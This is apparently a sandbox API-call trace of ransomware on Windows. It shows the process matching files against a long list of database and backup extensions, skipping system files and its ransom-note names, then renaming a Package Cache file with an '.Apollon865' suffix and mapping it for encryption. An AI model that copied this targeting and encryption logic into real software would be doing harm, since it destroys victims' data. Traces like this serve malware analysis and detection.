	[0072.042] lstrlenW (lpString="eco") returned 3
	[0072.042] lstrcmpiW (lpString1="rsm", lpString2="eco") returned 1
	[0072.042] lstrlenW (lpString="ecx") returned 3
	[0072.042] lstrcmpiW (lpString1="rsm", lpString2="ecx") returned 1
	[0072.042] lstrlenW (lpString="edb") returned 3
	[0072.042] lstrcmpiW (lpString1="rsm", lpString2="edb") returned 1
	[0072.042] lstrlenW (lpString="epim") returned 4
	[0072.042] lstrcmpiW (lpString1=".rsm", lpString2="epim") returned -1
	[0072.042] lstrlenW (lpString="fcd") returned 3
	[0072.042] lstrcmpiW (lpString1="rsm", lpString2="fcd") returned 1
	[0072.042] lstrlenW (lpString="fdb") returned 3
	[0072.042] lstrcmpiW (lpString1="rsm", lpString2="fdb") returned 1
	[0072.042] lstrlenW (lpString="fic") returned 3
	[0072.042] lstrcmpiW (lpString1="rsm", lpString2="fic") returned 1
	[0072.043] lstrlenW (lpString="flexolibrary") returned 12
	[0072.043] lstrlenW (lpString="fm5") returned 3
	[0072.043] lstrcmpiW (lpString1="rsm", lpString2="fm5") returned 1
	[0072.043] lstrlenW (lpString="fmp") returned 3
	[0072.043] lstrcmpiW (lpString1="rsm", lpString2="fmp") returned 1
	[0072.043] lstrlenW (lpString="fmp12") returned 5
	[0072.043] lstrcmpiW (lpString1="e.rsm", lpString2="fmp12") returned -1
	[0072.043] lstrlenW (lpString="fmpsl") returned 5
	[0072.043] lstrcmpiW (lpString1="e.rsm", lpString2="fmpsl") returned -1
	[0072.043] lstrlenW (lpString="fol") returned 3
	[0072.043] lstrcmpiW (lpString1="rsm", lpString2="fol") returned 1
	[0072.043] lstrlenW (lpString="fp3") returned 3
	[0072.043] lstrcmpiW (lpString1="rsm", lpString2="fp3") returned 1
	[0072.043] lstrlenW (lpString="fp4") returned 3
	[0072.043] lstrcmpiW (lpString1="rsm", lpString2="fp4") returned 1
	[0072.043] lstrlenW (lpString="fp5") returned 3
	[0072.043] lstrcmpiW (lpString1="rsm", lpString2="fp5") returned 1
	[0072.043] lstrlenW (lpString="fp7") returned 3
	[0072.043] lstrcmpiW (lpString1="rsm", lpString2="fp7") returned 1
	[0072.043] lstrlenW (lpString="fpt") returned 3
	[0072.043] lstrcmpiW (lpString1="rsm", lpString2="fpt") returned 1
	[0072.043] lstrlenW (lpString="frm") returned 3
	[0072.043] lstrcmpiW (lpString1="rsm", lpString2="frm") returned 1
	[0072.043] lstrlenW (lpString="gdb") returned 3
	[0072.043] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1
	[0072.043] lstrlenW (lpString="gdb") returned 3
	[0072.043] lstrcmpiW (lpString1="rsm", lpString2="gdb") returned 1
	[0072.043] lstrlenW (lpString="grdb") returned 4
	[0072.043] lstrcmpiW (lpString1=".rsm", lpString2="grdb") returned -1
	[0072.043] lstrlenW (lpString="gwi") returned 3
	[0072.043] lstrcmpiW (lpString1="rsm", lpString2="gwi") returned 1
	[0072.043] lstrlenW (lpString="hdb") returned 3
	[0072.043] lstrcmpiW (lpString1="rsm", lpString2="hdb") returned 1
	[0072.043] lstrlenW (lpString="his") returned 3
	[0072.043] lstrcmpiW (lpString1="rsm", lpString2="his") returned 1
	[0072.043] lstrlenW (lpString="ib") returned 2
	[0072.043] lstrcmpiW (lpString1="sm", lpString2="ib") returned 1
	[0072.043] lstrlenW (lpString="idb") returned 3
	[0072.044] lstrcmpiW (lpString1="rsm", lpString2="idb") returned 1
	[0072.044] lstrlenW (lpString="ihx") returned 3
	[0072.044] lstrcmpiW (lpString1="rsm", lpString2="ihx") returned 1
	[0072.044] lstrlenW (lpString="itdb") returned 4
	[0072.044] lstrcmpiW (lpString1=".rsm", lpString2="itdb") returned -1
	[0072.044] lstrlenW (lpString="itw") returned 3
	[0072.044] lstrcmpiW (lpString1="rsm", lpString2="itw") returned 1
	[0072.044] lstrlenW (lpString="jet") returned 3
	[0072.044] lstrcmpiW (lpString1="rsm", lpString2="jet") returned 1
	[0072.044] lstrlenW (lpString="jtx") returned 3
	[0072.044] lstrcmpiW (lpString1="rsm", lpString2="jtx") returned 1
	[0072.044] lstrlenW (lpString="kdb") returned 3
	[0072.044] lstrcmpiW (lpString1="rsm", lpString2="kdb") returned 1
	[0072.044] lstrlenW (lpString="kexi") returned 4
	[0072.044] lstrcmpiW (lpString1=".rsm", lpString2="kexi") returned -1
	[0072.044] lstrlenW (lpString="kexic") returned 5
	[0072.044] lstrcmpiW (lpString1="e.rsm", lpString2="kexic") returned -1
	[0072.044] lstrlenW (lpString="kexis") returned 5
	[0072.044] lstrcmpiW (lpString1="e.rsm", lpString2="kexis") returned -1
	[0072.044] lstrlenW (lpString="lgc") returned 3
	[0072.044] lstrcmpiW (lpString1="rsm", lpString2="lgc") returned 1
	[0072.044] lstrlenW (lpString="lwx") returned 3
	[0072.044] lstrcmpiW (lpString1="rsm", lpString2="lwx") returned 1
	[0072.044] lstrlenW (lpString="maf") returned 3
	[0072.044] lstrcmpiW (lpString1="rsm", lpString2="maf") returned 1
	[0072.044] lstrlenW (lpString="maq") returned 3
	[0072.044] lstrcmpiW (lpString1="rsm", lpString2="maq") returned 1
	[0072.044] lstrlenW (lpString="mar") returned 3
	[0072.044] lstrcmpiW (lpString1="rsm", lpString2="mar") returned 1
	[0072.044] lstrlenW (lpString="marshal") returned 7
	[0072.044] lstrcmpiW (lpString1="ate.rsm", lpString2="marshal") returned -1
	[0072.044] lstrlenW (lpString="mas") returned 3
	[0072.044] lstrcmpiW (lpString1="rsm", lpString2="mas") returned 1
	[0072.044] lstrlenW (lpString="mav") returned 3
	[0072.044] lstrcmpiW (lpString1="rsm", lpString2="mav") returned 1
	[0072.044] lstrlenW (lpString="maw") returned 3
	[0072.044] lstrcmpiW (lpString1="rsm", lpString2="maw") returned 1
	[0072.044] lstrlenW (lpString="mdbhtml") returned 7
	[0072.045] lstrcmpiW (lpString1="ate.rsm", lpString2="mdbhtml") returned -1
	[0072.045] lstrlenW (lpString="mdn") returned 3
	[0072.045] lstrcmpiW (lpString1="rsm", lpString2="mdn") returned 1
	[0072.045] lstrlenW (lpString="mdt") returned 3
	[0072.045] lstrcmpiW (lpString1="rsm", lpString2="mdt") returned 1
	[0072.045] lstrlenW (lpString="mfd") returned 3
	[0072.045] lstrcmpiW (lpString1="rsm", lpString2="mfd") returned 1
	[0072.045] lstrlenW (lpString="mpd") returned 3
	[0072.045] lstrcmpiW (lpString1="rsm", lpString2="mpd") returned 1
	[0072.045] lstrlenW (lpString="mrg") returned 3
	[0072.045] lstrcmpiW (lpString1="rsm", lpString2="mrg") returned 1
	[0072.045] lstrlenW (lpString="mud") returned 3
	[0072.045] lstrcmpiW (lpString1="rsm", lpString2="mud") returned 1
	[0072.045] lstrlenW (lpString="mwb") returned 3
	[0072.045] lstrcmpiW (lpString1="rsm", lpString2="mwb") returned 1
	[0072.045] lstrlenW (lpString="myd") returned 3
	[0072.045] lstrcmpiW (lpString1="rsm", lpString2="myd") returned 1
	[0072.045] lstrlenW (lpString="ndf") returned 3
	[0072.045] lstrcmpiW (lpString1="rsm", lpString2="ndf") returned 1
	[0072.045] lstrlenW (lpString="nnt") returned 3
	[0072.045] lstrcmpiW (lpString1="rsm", lpString2="nnt") returned 1
	[0072.045] lstrlenW (lpString="nrmlib") returned 6
	[0072.045] lstrcmpiW (lpString1="te.rsm", lpString2="nrmlib") returned 1
	[0072.045] lstrlenW (lpString="ns2") returned 3
	[0072.045] lstrcmpiW (lpString1="rsm", lpString2="ns2") returned 1
	[0072.045] lstrlenW (lpString="ns3") returned 3
	[0072.045] lstrcmpiW (lpString1="rsm", lpString2="ns3") returned 1
	[0072.045] lstrlenW (lpString="ns4") returned 3
	[0072.045] lstrcmpiW (lpString1="rsm", lpString2="ns4") returned 1
	[0072.045] lstrlenW (lpString="nsf") returned 3
	[0072.045] lstrcmpiW (lpString1="rsm", lpString2="nsf") returned 1
	[0072.045] lstrlenW (lpString="nv") returned 2
	[0072.045] lstrcmpiW (lpString1="sm", lpString2="nv") returned 1
	[0072.045] lstrlenW (lpString="nv2") returned 3
	[0072.045] lstrcmpiW (lpString1="rsm", lpString2="nv2") returned 1
	[0072.045] lstrlenW (lpString="nwdb") returned 4
	[0072.045] lstrcmpiW (lpString1=".rsm", lpString2="nwdb") returned -1
	[0072.046] lstrlenW (lpString="nyf") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="nyf") returned 1
	[0072.046] lstrlenW (lpString="odb") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1
	[0072.046] lstrlenW (lpString="odb") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="odb") returned 1
	[0072.046] lstrlenW (lpString="oqy") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="oqy") returned 1
	[0072.046] lstrlenW (lpString="ora") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="ora") returned 1
	[0072.046] lstrlenW (lpString="orx") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="orx") returned 1
	[0072.046] lstrlenW (lpString="owc") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="owc") returned 1
	[0072.046] lstrlenW (lpString="p96") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="p96") returned 1
	[0072.046] lstrlenW (lpString="p97") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="p97") returned 1
	[0072.046] lstrlenW (lpString="pan") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="pan") returned 1
	[0072.046] lstrlenW (lpString="pdb") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="pdb") returned 1
	[0072.046] lstrlenW (lpString="pdm") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="pdm") returned 1
	[0072.046] lstrlenW (lpString="pnz") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="pnz") returned 1
	[0072.046] lstrlenW (lpString="qry") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="qry") returned 1
	[0072.046] lstrlenW (lpString="qvd") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="qvd") returned 1
	[0072.046] lstrlenW (lpString="rbf") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="rbf") returned 1
	[0072.046] lstrlenW (lpString="rctd") returned 4
	[0072.046] lstrcmpiW (lpString1=".rsm", lpString2="rctd") returned -1
	[0072.046] lstrlenW (lpString="rod") returned 3
	[0072.046] lstrcmpiW (lpString1="rsm", lpString2="rod") returned 1
	[0072.046] lstrlenW (lpString="rodx") returned 4
	[0072.046] lstrcmpiW (lpString1=".rsm", lpString2="rodx") returned -1
	[0072.047] lstrlenW (lpString="rpd") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="rpd") returned 1
	[0072.047] lstrlenW (lpString="rsd") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="rsd") returned 1
	[0072.047] lstrlenW (lpString="sas7bdat") returned 8
	[0072.047] lstrcmpiW (lpString1="tate.rsm", lpString2="sas7bdat") returned 1
	[0072.047] lstrlenW (lpString="sbf") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="sbf") returned -1
	[0072.047] lstrlenW (lpString="scx") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="scx") returned -1
	[0072.047] lstrlenW (lpString="sdb") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="sdb") returned -1
	[0072.047] lstrlenW (lpString="sdc") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="sdc") returned -1
	[0072.047] lstrlenW (lpString="sdf") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="sdf") returned -1
	[0072.047] lstrlenW (lpString="sis") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="sis") returned -1
	[0072.047] lstrlenW (lpString="spq") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="spq") returned -1
	[0072.047] lstrlenW (lpString="te") returned 2
	[0072.047] lstrcmpiW (lpString1="sm", lpString2="te") returned -1
	[0072.047] lstrlenW (lpString="teacher") returned 7
	[0072.047] lstrcmpiW (lpString1="ate.rsm", lpString2="teacher") returned -1
	[0072.047] lstrlenW (lpString="tmd") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="tmd") returned -1
	[0072.047] lstrlenW (lpString="tps") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="tps") returned -1
	[0072.047] lstrlenW (lpString="trc") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1
	[0072.047] lstrlenW (lpString="trc") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="trc") returned -1
	[0072.047] lstrlenW (lpString="trm") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="trm") returned -1
	[0072.047] lstrlenW (lpString="udb") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="udb") returned -1
	[0072.047] lstrlenW (lpString="udl") returned 3
	[0072.047] lstrcmpiW (lpString1="rsm", lpString2="udl") returned -1
	[0072.048] lstrlenW (lpString="usr") returned 3
	[0072.048] lstrcmpiW (lpString1="rsm", lpString2="usr") returned -1
	[0072.048] lstrlenW (lpString="v12") returned 3
	[0072.048] lstrcmpiW (lpString1="rsm", lpString2="v12") returned -1
	[0072.048] lstrlenW (lpString="vis") returned 3
	[0072.048] lstrcmpiW (lpString1="rsm", lpString2="vis") returned -1
	[0072.048] lstrlenW (lpString="vpd") returned 3
	[0072.048] lstrcmpiW (lpString1="rsm", lpString2="vpd") returned -1
	[0072.048] lstrlenW (lpString="vvv") returned 3
	[0072.048] lstrcmpiW (lpString1="rsm", lpString2="vvv") returned -1
	[0072.048] lstrlenW (lpString="wdb") returned 3
	[0072.048] lstrcmpiW (lpString1="rsm", lpString2="wdb") returned -1
	[0072.048] lstrlenW (lpString="wmdb") returned 4
	[0072.048] lstrcmpiW (lpString1=".rsm", lpString2="wmdb") returned -1
	[0072.048] lstrlenW (lpString="wrk") returned 3
	[0072.048] lstrcmpiW (lpString1="rsm", lpString2="wrk") returned -1
	[0072.048] lstrlenW (lpString="xdb") returned 3
	[0072.048] lstrcmpiW (lpString1="rsm", lpString2="xdb") returned -1
	[0072.048] lstrlenW (lpString="xld") returned 3
	[0072.048] lstrcmpiW (lpString1="rsm", lpString2="xld") returned -1
	[0072.048] lstrlenW (lpString="xmlff") returned 5
	[0072.048] lstrcmpiW (lpString1="e.rsm", lpString2="xmlff") returned -1
	[0072.048] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.Apollon865") returned 92
	[0072.048] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm"), lpNewFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.apollon865"), dwFlags=0x1) returned 1
	[0072.050] CreateFileW (lpFileName="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.Apollon865" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x100
	[0072.051] GetFileSizeEx (in: hFile=0x100, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=666) returned 1
	[0072.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0072.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0072.051] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf5f0
	[0072.051] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf4e0) returned 1
	[0072.052] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0072.052] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0072.052] CreateFileMappingW (hFile=0x100, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5a0, lpName=0x0) returned 0x15c
	[0072.053] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5a0) returned 0x100000
	[0072.059] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf4e0) returned 1
	[0072.060] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0072.060] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0072.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0072.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0072.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0072.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0072.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0072.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0072.060] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0072.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0072.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0072.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0072.060] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0072.060] CloseHandle (hObject=0x15c) returned 1
	[0072.060] CloseHandle (hObject=0x100) returned 1
	[0072.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0072.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf5f0 | out: hHeap=0x580000) returned 1
	[0072.060] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0072.061] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a0db1a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x1a0db1a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x1073de80, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1
	[0072.061] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0072.061] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="Apollon865.txt.exe") returned 1
	[0072.061] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".") returned 1
	[0072.061] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="..") returned 1
	[0072.061] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="windows") returned -1
	[0072.061] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="bootmgr") returned 1
	[0072.061] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="temp") returned 1
	[0072.061] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="pagefile.sys") returned 1
	[0072.061] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="boot") returned 1
	[0072.061] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="ids.txt") returned 1
	[0072.061] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="ntuser.dat") returned 1
	[0072.061] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="perflogs") returned 1
	[0072.061] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2="MSBuild") returned 1
	[0072.061] lstrlenW (lpString="vcredist_x64.exe") returned 16
	[0072.061] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\state.rsm") returned 81
	[0072.062] lstrcpyW (in: lpString1=0x119e698, lpString2="vcredist_x64.exe" | out: lpString1="vcredist_x64.exe") returned="vcredist_x64.exe"
	[0072.062] lstrlenW (lpString="vcredist_x64.exe") returned 16
	[0072.062] lstrlenW (lpString="Apollon865") returned 10
	[0072.062] lstrcmpiW (lpString1="st_x64.exe", lpString2="Apollon865") returned 1
	[0072.062] lstrlenW (lpString=".dll") returned 4
	[0072.062] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".dll") returned 1
	[0072.062] lstrlenW (lpString=".lnk") returned 4
	[0072.062] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".lnk") returned 1
	[0072.062] lstrlenW (lpString=".ini") returned 4
	[0072.062] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".ini") returned 1
	[0072.062] lstrlenW (lpString=".sys") returned 4
	[0072.062] lstrcmpiW (lpString1="vcredist_x64.exe", lpString2=".sys") returned 1
	[0072.062] lstrlenW (lpString="vcredist_x64.exe") returned 16
	[0072.062] lstrlenW (lpString="bak") returned 3
	[0072.062] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1
	[0072.062] lstrlenW (lpString="ba_") returned 3
	[0072.062] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1
	[0072.062] lstrlenW (lpString="dbb") returned 3
	[0072.062] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1
	[0072.062] lstrlenW (lpString="vmdk") returned 4
	[0072.062] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1
	[0072.062] lstrlenW (lpString="rar") returned 3
	[0072.062] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1
	[0072.062] lstrlenW (lpString="zip") returned 3
	[0072.062] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1
	[0072.062] lstrlenW (lpString="tgz") returned 3
	[0072.062] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1
	[0072.062] lstrlenW (lpString="vbox") returned 4
	[0072.062] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1
	[0072.062] lstrlenW (lpString="vdi") returned 3
	[0072.062] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1
	[0072.062] lstrlenW (lpString="vhd") returned 3
	[0072.062] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1
	[0072.062] lstrlenW (lpString="vhdx") returned 4
	[0072.062] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1
	[0072.062] lstrlenW (lpString="avhd") returned 4
	[0072.062] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1
	[0072.062] lstrlenW (lpString="db") returned 2
	[0072.063] lstrcmpiW (lpString1="xe", lpString2="db") returned 1
	[0072.063] lstrlenW (lpString="db2") returned 3
	[0072.063] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1
	[0072.063] lstrlenW (lpString="db3") returned 3
	[0072.063] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1
	[0072.063] lstrlenW (lpString="dbf") returned 3
	[0072.063] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1
	[0072.063] lstrlenW (lpString="mdf") returned 3
	[0072.063] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1
	[0072.063] lstrlenW (lpString="mdb") returned 3
	[0072.063] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1
	[0072.063] lstrlenW (lpString="sql") returned 3
	[0072.063] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1
	[0072.063] lstrlenW (lpString="sqlite") returned 6
	[0072.063] lstrcmpiW (lpString1="64.exe", lpString2="sqlite") returned -1
	[0072.063] lstrlenW (lpString="sqlite3") returned 7
	[0072.063] lstrcmpiW (lpString1="x64.exe", lpString2="sqlite3") returned 1
	[0072.063] lstrlenW (lpString="sqlitedb") returned 8
	[0072.063] lstrcmpiW (lpString1="_x64.exe", lpString2="sqlitedb") returned -1
	[0072.063] lstrlenW (lpString="xml") returned 3
	[0072.063] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1
	[0072.063] lstrlenW (lpString="$er") returned 3
	[0072.063] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1
	[0072.063] lstrlenW (lpString="4dd") returned 3
	[0072.063] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1
	[0072.063] lstrlenW (lpString="4dl") returned 3
	[0072.063] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1
	[0072.063] lstrlenW (lpString="^^^") returned 3
	[0072.063] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1
	[0072.063] lstrlenW (lpString="abs") returned 3
	[0072.063] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1
	[0072.063] lstrlenW (lpString="abx") returned 3
	[0072.063] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1
	[0072.063] lstrlenW (lpString="accdb") returned 5
	[0072.063] lstrcmpiW (lpString1="4.exe", lpString2="accdb") returned -1
	[0072.063] lstrlenW (lpString="accdc") returned 5
	[0072.063] lstrcmpiW (lpString1="4.exe", lpString2="accdc") returned -1
	[0072.064] lstrlenW (lpString="accde") returned 5
	[0072.064] lstrcmpiW (lpString1="4.exe", lpString2="accde") returned -1
	[0072.064] lstrlenW (lpString="accdr") returned 5
	[0072.064] lstrcmpiW (lpString1="4.exe", lpString2="accdr") returned -1
	[0072.064] lstrlenW (lpString="accdt") returned 5
	[0072.064] lstrcmpiW (lpString1="4.exe", lpString2="accdt") returned -1
	[0072.064] lstrlenW (lpString="accdw") returned 5
	[0072.064] lstrcmpiW (lpString1="4.exe", lpString2="accdw") returned -1
	[0072.064] lstrlenW (lpString="accft") returned 5
	[0072.064] lstrcmpiW (lpString1="4.exe", lpString2="accft") returned -1
	[0072.064] lstrlenW (lpString="adb") returned 3
	[0072.064] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0072.064] lstrlenW (lpString="adb") returned 3
	[0072.064] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1
	[0072.064] lstrlenW (lpString="ade") returned 3
	[0072.064] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1
	[0072.064] lstrlenW (lpString="adf") returned 3
	[0072.064] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1
	[0072.064] lstrlenW (lpString="adn") returned 3
	[0072.064] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1
	[0072.064] lstrlenW (lpString="adp") returned 3
	[0072.064] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1
	[0072.064] lstrlenW (lpString="alf") returned 3
	[0072.064] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1
	[0072.064] lstrlenW (lpString="ask") returned 3
	[0072.064] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1
	[0072.064] lstrlenW (lpString="btr") returned 3
	[0072.064] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1
	[0072.064] lstrlenW (lpString="cat") returned 3
	[0072.064] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1
	[0072.064] lstrlenW (lpString="cdb") returned 3
	[0072.064] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1
	[0072.064] lstrlenW (lpString="ckp") returned 3
	[0072.064] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1
	[0072.064] lstrlenW (lpString="cma") returned 3
	[0072.064] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1
	[0072.064] lstrlenW (lpString="cpd") returned 3
	[0072.064] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1
	[0072.065] lstrlenW (lpString="dacpac") returned 6
	[0072.065] lstrcmpiW (lpString1="64.exe", lpString2="dacpac") returned -1
	[0072.065] lstrlenW (lpString="dad") returned 3
	[0072.065] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1
	[0072.065] lstrlenW (lpString="dadiagrams") returned 10
	[0072.065] lstrcmpiW (lpString1="st_x64.exe", lpString2="dadiagrams") returned 1
	[0072.065] lstrlenW (lpString="daschema") returned 8
	[0072.065] lstrcmpiW (lpString1="_x64.exe", lpString2="daschema") returned -1
	[0072.065] lstrlenW (lpString="db-journal") returned 10
	[0072.065] lstrcmpiW (lpString1="st_x64.exe", lpString2="db-journal") returned 1
	[0072.065] lstrlenW (lpString="db-shm") returned 6
